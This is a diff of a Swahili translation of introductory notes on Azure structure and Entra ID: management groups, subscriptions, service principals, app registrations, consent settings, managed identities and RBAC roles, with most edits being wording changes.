-### Vikundi vya Usimamizi +### Makundi ya Usimamizi -- Inaweza kuwa na **vikundi vingine vya usimamizi au usajili**. +- Inaweza kuwa na **makundi mengine ya usimamizi au usajili**. - Hii inaruhusu **kutekeleza udhibiti wa utawala** kama vile RBAC na Sera za Azure mara moja kwenye kiwango cha kundi la usimamizi na kuwa **na urithi** na usajili wote ndani ya kundi. -- **Vikundi 10,000 vya usimamizi** vinaweza kuungwa mkono katika directory moja. +- **Makundi 10,000 ya usimamizi** yanaweza kuungwa mkono katika directory moja. - Mti wa kundi la usimamizi unaweza kuunga mkono **hadi viwango sita vya kina**. Kiwango hiki hakijumuishi kiwango cha mzizi au kiwango cha usajili. - Kila kundi la usimamizi na usajili linaweza kuunga mkono **mzazi mmoja tu**. -- Hata kama vikundi vingi vya usimamizi vinaweza kuundwa **kuna kundi moja la usimamizi la mzizi tu**. -- Kundi la usimamizi la mzizi **linashikilia** **vikundi vingine vya usimamizi na usajili** na **halitaweza kuhamishwa au kufutwa**. -- Usajili wote ndani ya kundi moja la usimamizi lazima uamini **tenant ya Entra ID sawa**. +- Hata kama makundi kadhaa ya usimamizi yanaweza kuundwa **kuna kundi moja tu la usimamizi la mzizi**. +- Kundi la usimamizi la mzizi **linashikilia** makundi yote **mengine ya usimamizi na usajili** na **halitaweza kuhamishwa au kufutwa**. +- Usajili wote ndani ya kundi moja la usimamizi lazima uamini **tenant moja ya Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Usajili wa Azure -- Ni **konteina nyingine ya kimantiki ambapo rasilimali** (VMs, DBs…) zinaweza kuendeshwa na zitalipiwa. +- Ni **kikundi kingine cha mantiki ambacho rasilimali** (VMs, DBs…) zinaweza kuendeshwa na zitalipiwa. - **Mzazi** wake daima ni **kundi la usimamizi** (na inaweza kuwa kundi la usimamizi la mzizi) kwani usajili hauwezi kuwa na usajili mwingine. - Ina **aminika tu na directory moja ya Entra ID** - **Ruhusa** zilizotumika kwenye kiwango cha usajili (au yoyote ya wazazi wake) zina **urithi** kwa rasilimali zote ndani ya usajili -### Vikundi vya Rasilimali +### Makundi ya Rasilimali -[Kutoka kwenye hati:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Kundi la rasilimali ni **konteina** inayoshikilia **rasilimali zinazohusiana** kwa suluhisho la Azure. Kundi la rasilimali linaweza kujumuisha rasilimali zote za suluhisho, au zile tu **rasilimali ambazo unataka kusimamia kama kundi**. Kwa ujumla, ongeza **rasilimali** zinazoshiriki **mzunguko sawa** kwenye kundi moja la rasilimali ili uweze kupeleka, kusasisha, na kufuta kwa urahisi kama kundi. +[Kutoka kwenye hati:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Kundi la rasilimali ni **kikundi** kinachoshikilia **rasilimali zinazohusiana** kwa suluhisho la Azure. Kundi la rasilimali linaweza kujumuisha rasilimali zote za suluhisho, au zile tu **rasilimali ambazo unataka kusimamia kama kundi**. Kwa ujumla, ongeza **rasilimali** zinazoshiriki **mzunguko sawa** kwenye kundi moja la rasilimali ili uweze kupeleka, kusasisha, na kufuta kwa urahisi kama kundi. Rasilimali zote lazima ziwe **ndani ya kundi la rasilimali** na zinaweza kumilikiwa tu na kundi moja na ikiwa kundi la rasilimali litafutwa, rasilimali zote ndani yake pia zitafutwa. @@ -36,13 +36,13 @@ Rasilimali zote lazima ziwe **ndani ya kundi la rasilimali** na zinaweza kumilik ### Vitambulisho vya Rasilimali za Azure -Kila rasilimali katika Azure ina Vitambulisho vya Rasilimali za Azure vinavyoiainisha. +Kila rasilimali katika Azure ina Vitambulisho vya Rasilimali za Azure ambavyo vinaitambulisha. Muundo wa Vitambulisho vya Rasilimali za Azure ni kama ifuatavyo: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGroup` chini ya kitambulisho cha usajili `12345678-1234-1234-1234-123456789012`, Vitambulisho vya Rasilimali za Azure vinaonekana kama ifuatavyo: +Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGroup` chini ya ID ya usajili `12345678-1234-1234-1234-123456789012`, Vitambulisho vya Rasilimali za Azure vinaonekana kama ifuatavyo: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -50,11 +50,11 @@ Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGrou ### Azure -Azure ni jukwaa la **kumbukumbu la kompyuta la Microsoft, linalotoa huduma mbalimbali**, ikiwa ni pamoja na mashine za virtual, hifadhidata, akili bandia, na uhifadhi. Inafanya kazi kama msingi wa kuendesha na kusimamia programu, kujenga miundombinu inayoweza kupanuka, na kuendesha kazi za kisasa katika wingu. Azure inatoa zana kwa wabunifu na wataalamu wa IT kuunda, kupeleka, na kusimamia programu na huduma kwa urahisi, ikihudumia mahitaji mbalimbali kutoka kwa makampuni ya kuanzishwa hadi makampuni makubwa. +Azure ni jukwaa la **kumbukumbu la kompyuta la Microsoft, linalotoa huduma mbalimbali**, ikiwa ni pamoja na mashine za virtual, hifadhidata, akili bandia, na uhifadhi. Inafanya kazi kama msingi wa kuendesha na kusimamia programu, kujenga miundombinu inayoweza kupanuka, na kuendesha kazi za kisasa katika wingu. Azure inatoa zana kwa waendelezaji na wataalamu wa IT kuunda, kupeleka, na kusimamia programu na huduma kwa urahisi, ikihudumia mahitaji mbalimbali kutoka kwa biashara za kuanzishwa hadi makampuni makubwa. ### Entra ID (zamani Azure Active Directory) -Entra ID ni huduma ya **usimamizi wa utambulisho na ufikiaji** inayotegemea wingu iliyoundwa kushughulikia uthibitishaji, idhini, na udhibiti wa ufikiaji wa mtumiaji. Inatoa ufikiaji salama kwa huduma za Microsoft kama vile Office 365, Azure, na programu nyingi za SaaS za wahusika wengine. Ikiwa na vipengele kama vile kuingia mara moja (SSO), uthibitishaji wa hatua nyingi (MFA), na sera za ufikiaji wa masharti miongoni mwa zingine. +Entra ID ni huduma ya **utambulisho na usimamizi wa ufikiaji** inayotegemea wingu iliyoundwa kushughulikia uthibitishaji, idhini, na udhibiti wa ufikiaji wa mtumiaji. Inatoa ufikiaji salama kwa huduma za Microsoft kama vile Office 365, Azure, na programu nyingi za SaaS za wahusika wengine. Ikiwa na vipengele kama vile uthibitishaji wa moja kwa moja (SSO), uthibitishaji wa hatua nyingi (MFA), na sera za ufikiaji wa masharti miongoni mwa zingine. ### Huduma za Kikoa za Entra (zamani Azure AD DS) @@ -79,50 +79,50 @@ Huduma za Kikoa za Entra zinaongeza uwezo wa Entra ID kwa kutoa **huduma za kiko Unaweza kuangalia katika [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) lakini kati ya vitendo vingine mwanachama ataweza: -- Kusoma watumiaji wote, Vikundi, Programu, Vifaa, Majukumu, Usajili, na mali zao za umma +- Kusoma watumiaji wote, Makundi, Programu, Vifaa, Majukumu, Usajili, na mali zao za umma - Kualika Wageni (_inaweza kuzuiwa_) -- Kuunda vikundi vya Usalama +- Kuunda makundi ya Usalama - Kusoma uanachama wa Kundi usiofichwa -- Kuongeza wageni kwenye vikundi vilivyo na umiliki +- Kuongeza wageni kwenye makundi yaliyomilikiwa - Kuunda programu mpya (_inaweza kuzuiwa_) - Kuongeza vifaa hadi 50 kwenye Azure (_inaweza kuzuiwa_) > [!NOTE] > Kumbuka kwamba ili kuhesabu rasilimali za Azure mtumiaji anahitaji kibali maalum cha ruhusa. -### Ruhusa za Kawaida za Watumiaji +### Ruhusa za Kawaida za Watumiaji Zinazoweza Kubadilishwa - **Wanachama (**[**hati**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** -- Register Programu: Kawaida **Ndio** -- Zuia watumiaji wasio wasimamizi kuunda tenants: Kawaida **Hapana** -- Kuunda vikundi vya usalama: Kawaida **Ndio** -- Zuia ufikiaji wa lango la usimamizi la Microsoft Entra: Kawaida **Hapana** +- Jisajili Programu: Kawaida **Ndio** +- Zuiya watumiaji wasio wasimamizi kuunda tenants: Kawaida **Hapana** +- Kuunda makundi ya usalama: Kawaida **Ndio** +- Zuiya ufikiaji wa lango la usimamizi la Microsoft Entra: Kawaida **Hapana** - Hii haisimamii ufikiaji wa API kwa lango (tu wavuti) - Ruhusu watumiaji kuunganisha akaunti za kazi au shule na LinkedIn: Kawaida **Ndio** - Onyesha kuweka mtumiaji alisainiwa: Kawaida **Ndio** -- Zuia watumiaji kutoka kupona funguo za BitLocker kwa vifaa vyao vilivyo na umiliki: Kawaida Hapana (angalia kwenye Mipangilio ya Kifaa) +- Zuiya watumiaji kutoka kupona funguo za BitLocker kwa vifaa vyao vilivyomilikiwa: Kawaida Hapana (angalia kwenye Mipangilio ya Kifaa) - Kusoma watumiaji wengine: Kawaida **Ndio** (kupitia Microsoft Graph) - **Wageni** - **Vikwazo vya ufikiaji wa mtumiaji mgeni** -- **Watumiaji wageni wana ufikiaji sawa na wanachama** inatoa ruhusa zote za mtumiaji mwanachama kwa watumiaji wageni kwa default. -- **Watumiaji wageni wana ufikiaji mdogo kwa mali na uanachama wa vitu vya directory (kawaida)** inazuia ufikiaji wa wageni kwa wasifu wao wenyewe wa mtumiaji kwa default. Ufikiaji wa watumiaji wengine na taarifa za kundi haukubaliwi tena. -- **Ufikiaji wa mtumiaji mgeni unazuiwa kwa mali na uanachama wa vitu vyao vya directory** ni wa kikomo zaidi. +- **Wageni wa mgeni wana ufikiaji sawa na wanachama** inatoa ruhusa zote za mtumiaji wa mwanachama kwa wageni kwa default. +- **Wageni wa mgeni wana ufikiaji mdogo kwa mali na uanachama wa vitu vya directory (kawaida)** inazuiya ufikiaji wa wageni kwa wasifu wao wenyewe wa mtumiaji kwa default. Ufikiaji wa watumiaji wengine na taarifa za kundi haukubaliki tena. +- **Ufikiaji wa mtumiaji mgeni unazuiwa kwa mali na uanachama wa vitu vya directory vyao wenyewe** ndio wa kukandamiza zaidi. - **Wageni wanaweza kuwalika** -- **Mtu yeyote katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni na wasimamizi (inayoeleweka zaidi) - Kawaida** -- **Watumiaji wanachama na watumiaji waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni wenye ruhusa za mwanachama** -- **Ni watumiaji pekee waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni** -- **Hakuna mtu katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wasimamizi (inayoeleweka zaidi)** +- **Mtu yeyote katika shirika anaweza kuwalika wageni ikiwa ni pamoja na wageni na wasimamizi wasio wa kawaida (inayoingiza zaidi) - Kawaida** +- **Watumiaji wa wanachama na watumiaji waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika wageni ikiwa ni pamoja na wageni wenye ruhusa za mwanachama** +- **Ni watumiaji pekee waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika wageni** +- **Hakuna mtu katika shirika anaweza kuwalika wageni ikiwa ni pamoja na wasimamizi (inayoingiza zaidi)** - **Mtumiaji wa nje aondoke**: Kawaida **Kweli** - Ruhusu watumiaji wa nje kuondoka katika shirika > [!TIP] -> Hata kama imezuiwa kwa kawaida, watumiaji (wanachama na wageni) wenye ruhusa zilizotolewa wanaweza kufanya vitendo vya awali. +> Hata kama zimezuiwa kwa default, watumiaji (wanachama na wageni) wenye ruhusa zilizotolewa wanaweza kufanya vitendo vya awali. -### **Vikundi** +### **Makundi** -Kuna **aina 2 za vikundi**: +Kuna **aina 2 za makundi**: -- **Usalama**: Aina hii ya kundi inatumika kutoa wanachama ufikiaji wa programu, rasilimali na kupewa leseni. Watumiaji, vifaa, wakala wa huduma na vikundi vingine vinaweza kuwa wanachama. +- **Usalama**: Aina hii ya kundi inatumika kutoa wanachama ufikiaji wa programu, rasilimali na kupeana leseni. Watumiaji, vifaa, wakala wa huduma na makundi mengine wanaweza kuwa wanachama. - **Microsoft 365**: Aina hii ya kundi inatumika kwa ushirikiano, ikitoa wanachama ufikiaji wa sanduku la barua lililotolewa, kalenda, faili, tovuti ya SharePoint, na kadhalika. Wanachama wa kundi wanaweza kuwa watumiaji pekee. - Hii itakuwa na **anwani ya barua pepe** yenye kikoa cha tenant ya EntraID. @@ -133,36 +133,36 @@ Kuna **aina 2 za uanachama**: ### **Wakala wa Huduma** -**Wakala wa Huduma** ni **utambulisho** ulioanzishwa kwa **matumizi** na **programu**, huduma zinazohudumiwa, na zana za kiotomatiki kufikia rasilimali za Azure. Ufikiaji huu ume **zuiwa na majukumu yaliyotolewa** kwa wakala wa huduma, na kukupa udhibiti juu ya **rasilimali zipi zinaweza kufikiwa** na kwa kiwango gani. Kwa sababu za usalama, kila wakati inapendekezwa **kutumia wakala wa huduma na zana za kiotomatiki** badala ya kuruhusu kuingia kwa utambulisho wa mtumiaji. +**Wakala wa Huduma** ni **utambulisho** ulioanzishwa kwa **matumizi** na **programu**, huduma zinazohudumiwa, na zana za kiotomatiki kupata rasilimali za Azure. Ufikiaji huu ume **zuiwa na majukumu yaliyotolewa** kwa wakala wa huduma, na kukupa udhibiti juu ya **rasilimali zipi zinaweza kufikiwa** na kwa kiwango gani. Kwa sababu za usalama, kila wakati inapendekezwa **kutumia wakala wa huduma na zana za kiotomatiki** badala ya kuruhusu kuingia kwa utambulisho wa mtumiaji. Inawezekana **kuingia moja kwa moja kama wakala wa huduma** kwa kuunda **siri** (nenosiri), **cheti**, au kutoa **ufikiaji wa shirikisho** kwa majukwaa ya wahusika wengine (kwa mfano, Github Actions) juu yake. -- Ikiwa unachagua uthibitishaji wa **nenosiri** (kwa kawaida), **hifadhi nenosiri lililotolewa** kwani huwezi kulifikia tena. +- Ikiwa unachagua uthibitishaji wa **nenosiri** (kwa default), **hifadhi nenosiri lililotengenezwa** kwani huwezi kulifikia tena. - Ikiwa unachagua uthibitishaji wa cheti, hakikisha **programu itakuwa na ufikiaji wa funguo za faragha**. ### Usajili wa Programu -Usajili wa **Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na kufanya vitendo. +**Usajili wa Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na kufanya vitendo. #### Vipengele Muhimu: 1. **Kitambulisho cha Programu (Kitambulisho cha Mteja):** Kitambulisho cha kipekee kwa programu yako katika Azure AD. 2. **URIs za Kurudisha:** URL ambapo Azure AD inatuma majibu ya uthibitishaji. -3. **Cheti, Siri & Ruhusa za Shirikisho:** Inawezekana kuunda siri au cheti kuingia kama wakala wa huduma wa programu, au kutoa ufikiaji wa shirikisho kwake (kwa mfano, Github Actions). -1. Ikiwa **cheti** au **siri** imeundwa, mtu anaweza **kuingia kama wakala wa huduma** kwa kutumia zana za CLI kwa kujua **kitambulisho cha programu**, **siri** au **cheti** na **tenant** (kikoa au ID). +3. **Vyeti, Siri & Ruhusa za Shirikisho:** Inawezekana kuunda siri au cheti kuingia kama wakala wa huduma wa programu, au kutoa ufikiaji wa shirikisho kwake (kwa mfano, Github Actions). +1. Ikiwa **cheti** au **siri** inaundwa, inawezekana kwa mtu **kuingia kama wakala wa huduma** kwa kutumia zana za CLI kwa kujua **kitambulisho cha programu**, **siri** au **cheti** na **tenant** (kikoa au ID). 4. **Ruhusa za API:** Inabainisha rasilimali au API zipi programu inaweza kufikia. -5. **Mipangilio ya Uthibitishaji:** Inafafanua mchakato wa uthibitishaji unaounga mkono programu (kwa mfano, OAuth2, OpenID Connect). -6. **Wakala wa Huduma**: Wakala wa huduma huundwa wakati programu inaundwa (ikiwa inafanywa kutoka kwenye konsole ya wavuti) au wakati inasakinishwa katika tenant mpya. -1. **Wakala wa huduma** utapata ruhusa zote zilizohitajika alizopangwa nazo. +5. **Mipangilio ya Uthibitishaji:** Inafafanua mchakato wa uthibitishaji unaounga mkono wa programu (kwa mfano, OAuth2, OpenID Connect). +6. **Wakala wa Huduma**: Wakala wa huduma huundwa wakati Programu inaundwa (ikiwa inafanywa kutoka kwenye konsole ya wavuti) au wakati inasakinishwa katika tenant mpya. +1. **Wakala wa huduma** utapata ruhusa zote zilizotolewa ambazo umeziunda. -### Ruhusa za Kawaida za Kukubali +### Ruhusa za Kibali za Kawaida **Ruhusa za mtumiaji kwa programu** - **Usiruhusu ruhusa za mtumiaji** - Msimamizi atahitajika kwa programu zote. - **Ruhusu ruhusa za mtumiaji kwa programu kutoka kwa wachapishaji waliothibitishwa, kwa ruhusa zilizochaguliwa (Inapendekezwa)** -- Watumiaji wote wanaweza kukubali ruhusa zilizopangwa kama "athari ndogo", kwa programu kutoka kwa wachapishaji waliothibitishwa au programu zilizoorodheshwa katika shirika hili. +- Watumiaji wote wanaweza kutoa ruhusa kwa ruhusa zinazohesabiwa kama "athari ndogo", kwa programu kutoka kwa wachapishaji waliothibitishwa au programu zilizojisajili katika shirika hili. - **Kawaida** ruhusa za athari ndogo (ingawa unahitaji kukubali kuziongeza kama ndogo): - User.Read - ingia na kusoma wasifu wa mtumiaji - offline_access - kudumisha ufikiaji wa data ambayo watumiaji wameipa ufikiaji @@ -170,30 +170,30 @@ Usajili wa **Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na k - profile - ona wasifu wa msingi wa mtumiaji - email - ona anwani ya barua pepe ya mtumiaji - **Ruhusu ruhusa za mtumiaji kwa programu (Kawaida)** -- Watumiaji wote wanaweza kukubali kwa programu yoyote kufikia data za shirika. +- Watumiaji wote wanaweza kutoa ruhusa kwa programu yoyote kufikia data ya shirika. **Maombi ya ruhusa za msimamizi**: Kawaida **Hapana** -- Watumiaji wanaweza kuomba ruhusa za msimamizi kwa programu ambazo hawawezi kukubali -- Ikiwa **Ndio**: Inawezekana kuonyesha Watumiaji, Vikundi na Majukumu ambayo yanaweza kukubali maombi -- Sanidi pia ikiwa watumiaji watapokea arifa za barua pepe na ukumbusho wa muda wa mwisho +- Watumiaji wanaweza kuomba ruhusa za msimamizi kwa programu ambazo hawawezi kutoa ruhusa +- Ikiwa **Ndio**: Inawezekana kuonyesha Watumiaji, Makundi na Majukumu ambayo yanaweza kutoa maombi +- Sanidi pia ikiwa watumiaji watapata arifa za barua pepe na ukumbusho wa muda wa mwisho ### **Utambulisho wa Kusimamiwa (Metadata)** -Utambulisho wa kusimamiwa katika Azure Active Directory unatoa suluhisho la **kusimamia kiotomatiki utambulisho** wa programu. Utambulisho huu unatumika na programu kwa lengo la **kuunganisha** na **rasilimali** zinazofaa na uthibitishaji wa Azure Active Directory (**Azure AD**). Hii inaruhusu **kuondoa hitaji la kuweka akiba ya akidi za wingu** katika msimbo kwani programu itakuwa na uwezo wa kuwasiliana na huduma ya **metadata** ili kupata token halali ya **kufanya vitendo** kama utambulisho wa kusimamiwa ulioonyeshwa katika Azure. +Utambulisho wa kusimamiwa katika Azure Active Directory unatoa suluhisho la **kusimamia kiotomatiki utambulisho** wa programu. Utambulisho huu unatumika na programu kwa lengo la **kuunganisha** na **rasilimali** zinazofaa na uthibitishaji wa Azure Active Directory (**Azure AD**). Hii inaruhusu **kuondoa hitaji la kuweka akiba ya akiba ya wingu** katika msimbo kwani programu itakuwa na uwezo wa kuwasiliana na huduma ya **metadata** ili kupata token halali ya **kufanya vitendo** kama utambulisho wa kusimamiwa ulioonyeshwa katika Azure. Kuna aina mbili za utambulisho wa kusimamiwa: -- **Iliyotolewa na mfumo**. Huduma zingine za Azure zinakuruhusu **kuwezesha utambulisho wa kusimamiwa moja kwa moja kwenye mfano wa huduma**. Unapowezesha utambulisho wa kusimamiwa wa mfumo, **wakala wa huduma** huundwa katika tenant ya Entra ID inayotegemewa na usajili ambapo rasilimali iko. Wakati **rasilimali** inafutwa, Azure kiotomatiki **inafuta** **utambulisho** kwa ajili yako. -- **Iliyotolewa na mtumiaji**. Pia inawezekana kwa watumiaji kuunda utambulisho wa kusimamiwa. Hizi huundwa ndani ya kundi la rasilimali ndani ya usajili na wakala wa huduma utaanzishwa katika EntraID inayotegemewa na usajili. Kisha, unaweza kupeana utambulisho wa kusimamiwa kwa mfano mmoja au **zaidi** ya huduma ya Azure (rasilimali nyingi). Kwa utambulisho wa kusimamiwa wa mtumiaji, **utambulisho unasimamiwa tofauti na rasilimali zinazoutumia**. +- **Iliyotolewa na Mfumo**. Huduma zingine za Azure zinakuruhusu **kuwezesha utambulisho wa kusimamiwa moja kwa moja kwenye mfano wa huduma**. Unapowezesha utambulisho wa kusimamiwa wa mfumo, **wakala wa huduma** huundwa katika tenant ya Entra ID inayotegemewa na usajili ambapo rasilimali iko. Wakati **rasilimali** inafutwa, Azure kiotomatiki **inafuta** **utambulisho** kwa ajili yako. +- **Iliyotolewa na Mtumiaji**. Pia inawezekana kwa watumiaji kuunda utambulisho wa kusimamiwa. Hizi zinaundwa ndani ya kundi la rasilimali ndani ya usajili na wakala wa huduma utaundwa katika EntraID inayotegemewa na usajili. Kisha, unaweza kupeana utambulisho wa kusimamiwa kwa mfano mmoja au **zaidi** ya huduma ya Azure (rasilimali nyingi). Kwa utambulisho wa kusimamiwa wa mtumiaji, **utambulisho unasimamiwa tofauti na rasilimali zinazoutumia**. -Utambulisho wa Kusimamiwa **hauzali akidi za kudumu** (kama nenosiri au vyeti) kufikia kama wakala wa huduma ulioambatanishwa nayo. +Utambulisho wa Kusimamiwa **hauzuii akiba ya milele** (kama nenosiri au vyeti) kupata kama wakala wa huduma ulioambatanishwa nayo. ### Programu za Kijamii -Ni tu **meza katika Azure kuchuja wakala wa huduma** na kuangalia programu ambazo zimepewa. +Ni **meza tu katika Azure kuchuja wakala wa huduma** na kuangalia programu ambazo zimepewa. -**Sio aina nyingine ya "programu",** hakuna kitu chochote katika Azure ambacho ni "Programu ya Kijamii", ni tu muundo wa kuangalia Wakala wa huduma, Usajili wa programu na utambulisho wa kusimamiwa. +**Sio aina nyingine ya "programu",** hakuna kitu katika Azure ambacho ni "Programu ya Kijamii", ni tu muundo wa kuangalia Wakala wa huduma, Usajili wa Programu na utambulisho wa kusimamiwa. ### Vitengo vya Utawala @@ -203,11 +203,11 @@ Mfano: - Hali: Kampuni inataka wasimamizi wa IT wa kikanda wasimamie tu watumiaji katika eneo lao. - Utekelezaji: -- Unda Vitengo vya Utawala kwa kila eneo (kwa mfano, "Kaskazini mwa Amerika AU", "Ulaya AU"). +- Unda Vitengo vya Utawala kwa kila eneo (kwa mfano, "North America AU", "Europe AU"). - Jaza AUs na watumiaji kutoka maeneo yao. -- AUs zinaweza **kuhifadhi watumiaji, vikundi, au vifaa** +- AUs zinaweza **kuhifadhi watumiaji, makundi, au vifaa** - AUs zinasaidia **uanachama wa kijamii** -- AUs **haziwezi kuwa na AUs** +- AUs **haziwezi kuhifadhi AUs** - Peana Majukumu ya Usimamizi: - Peana jukumu la "Msimamizi wa Watumiaji" kwa wafanyakazi wa IT wa kikanda, lililowekwa kwenye AU ya eneo lao. - Matokeo: Wasimamizi wa IT wa kikanda wanaweza kusimamia akaunti za watumiaji ndani ya eneo lao bila kuathiri maeneo mengine. @@ -216,16 +216,16 @@ Mfano: - Ili kusimamia Entra ID kuna **majukumu yaliyojengwa ndani** ambayo yanaweza kutolewa kwa wakala wa Entra ID kusimamia Entra ID - Angalia majukumu katika [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- Jukumu lenye mamlaka zaidi ni **Msimamizi wa Kimataifa** +- Jukumu lenye mamlaka zaidi ni **Msimamizi wa Ulimwengu** - Katika Maelezo ya jukumu inawezekana kuona **ruhusa zake za kina** ## Majukumu & Ruhusa -**Majukumu** yanatolewa kwa **wakala** kwenye **kasi**: `wakala -[ANA JUKUMU]->(kasi)` +**Majukumu** yanatolewa kwa **wakala** kwenye **kikomo**: `wakala -[ANA JUKUMU]->(kikomo)` -**Majukumu** yaliyotolewa kwa **vikundi** yanarithiwa na **wanachama** wote wa kundi. +**Majukumu** yaliyotolewa kwa **makundi** yanarithiwa na **wanachama wote** wa kundi. -Kulingana na kasi ambayo jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kwa **rasilimali nyingine** ndani ya kontena la kasi. Kwa mfano, ikiwa mtumiaji A ana **jukumu kwenye usajili**, atakuwa na **jukumu hilo kwenye vikundi vyote vya rasilimali** ndani ya usajili na kwenye **rasilimali zote** ndani ya kundi la rasilimali. +Kulingana na kikomo ambacho jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kwa **rasilimali nyingine** ndani ya kikomo. Kwa mfano, ikiwa mtumiaji A ana **jukumu kwenye usajili**, atakuwa na **jukumu hilo kwenye makundi yote ya rasilimali** ndani ya usajili na kwenye **rasilimali zote** ndani ya kundi la rasilimali. ### **Majukumu ya K klasiki** @@ -233,19 +233,19 @@ Kulingana na kasi ambayo jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kw | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | | **Mchangiaji** |
  • Ufikiaji kamili kwa rasilimali zote
  • Haiwezi kusimamia ufikiaji
| Aina zote za rasilimali | | **Msomaji** | • Ona rasilimali zote | Aina zote za rasilimali | -| **Msimamizi wa Ufikiaji wa Mtumiaji** |
  • Ona rasilimali zote
  • Anaweza kusimamia ufikiaji kwa watumiaji wengine
| Aina zote za rasilimali | +| **Msimamizi wa Ufikiaji wa Watumiaji** |
  • Ona rasilimali zote
  • Anaweza kusimamia ufikiaji kwa watumiaji wengine
| Aina zote za rasilimali | ### Majukumu Yaliyojengwa Ndani -[Kutoka kwenye hati: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Udhibiti wa ufikiaji wa Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ina majukumu kadhaa ya Azure **yaliyojengwa ndani** ambayo unaweza **kutoa** kwa **watumiaji, vikundi, wakala wa huduma, na utambulisho wa kusimamiwa**. Utoaji wa majukumu ndiyo njia unayodhibiti **ufikiaji wa rasilimali za Azure**. Ikiwa majukumu yaliyojengwa ndani hayakidhi mahitaji maalum ya shirika lako, unaweza kuunda [**majukumu ya kawaida ya Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Kutoka kwenye hati: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Udhibiti wa ufikiaji wa Azure unaotegemea jukumu (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) una majukumu kadhaa ya Azure **yaliyojengwa ndani** ambayo unaweza **kutoa** kwa **watumiaji, makundi, wakala wa huduma, na utambulisho wa kusimamiwa**. Uteuzi wa jukumu ndio njia unayodhibiti **ufikiaji wa rasilimali za Azure**. Ikiwa majukumu yaliyojengwa ndani hayakidhi mahitaji maalum ya shirika lako, unaweza kuunda [**majukumu ya kawaida ya Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Majukumu Yaliyojengwa Ndani** yanatumika tu kwa **rasilimali** ambazo zime **kusudiwa**, kwa mfano angalia mifano hii 2 ya **Majukumu Yaliyojengwa Ndani** juu ya rasilimali za **Kumbukumbu**: +**Majukumu Yaliyojengwa Ndani** yanatumika tu kwa **rasilimali** ambazo zime **kusudiwa**, kwa mfano angalia mifano hii 2 ya **Majukumu Yaliyojengwa Ndani** juu ya rasilimali za **Kuhifadhi**: | [Msomaji wa Nakala ya Disk](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Inatoa ruhusa kwa vault ya nakala kufanya nakala ya disk. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [Kuingia kwa Mtumiaji wa Mashine ya Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Ona Mashine za Virtual kwenye lango na kuingia kama mtumiaji wa kawaida. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -Majukumu haya yanaweza **pia kutolewa juu ya kontena za mantiki** (kama vile vikundi vya usimamizi, usajili na vikundi vya rasilimali) na wakala walioathiriwa watakuwa nao **juu ya rasilimali ndani ya kontena hizo**. +Majukumu haya yanaweza **pia kutolewa juu ya vyombo vya mantiki** (kama vile makundi ya usimamizi, usajili na makundi ya rasilimali) na wakala walioathiriwa watakuwa nayo **juu ya rasilimali ndani ya vyombo hivyo**. - Pata hapa orodha ya [**majukumu yote ya Azure yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). - Pata hapa orodha ya [**majukumu yote ya Entra ID yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). @@ -253,7 +253,7 @@ Majukumu haya yanaweza **pia kutolewa juu ya kontena za mantiki** (kama vile vik ### Majukumu ya Kawaida - Pia inawezekana kuunda [**majukumu ya kawaida**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- Yanaanzishwa ndani ya kasi, ingawa jukumu linaweza kuwa katika kasi kadhaa (vikundi vya usimamizi, usajili na vikundi vya rasilimali) +- Yanaundwa ndani ya kikomo, ingawa jukumu linaweza kuwa katika maeneo kadhaa (makundi ya usimamizi, usajili na makundi ya rasilimali) - Inawezekana kusanidi ruhusa zote za kina ambazo jukumu la kawaida litakuwa nazo - Inawezekana kuondoa ruhusa - Wakala mwenye ruhusa iliyondolewa hataweza kuitumia hata kama ruhusa hiyo inatolewa 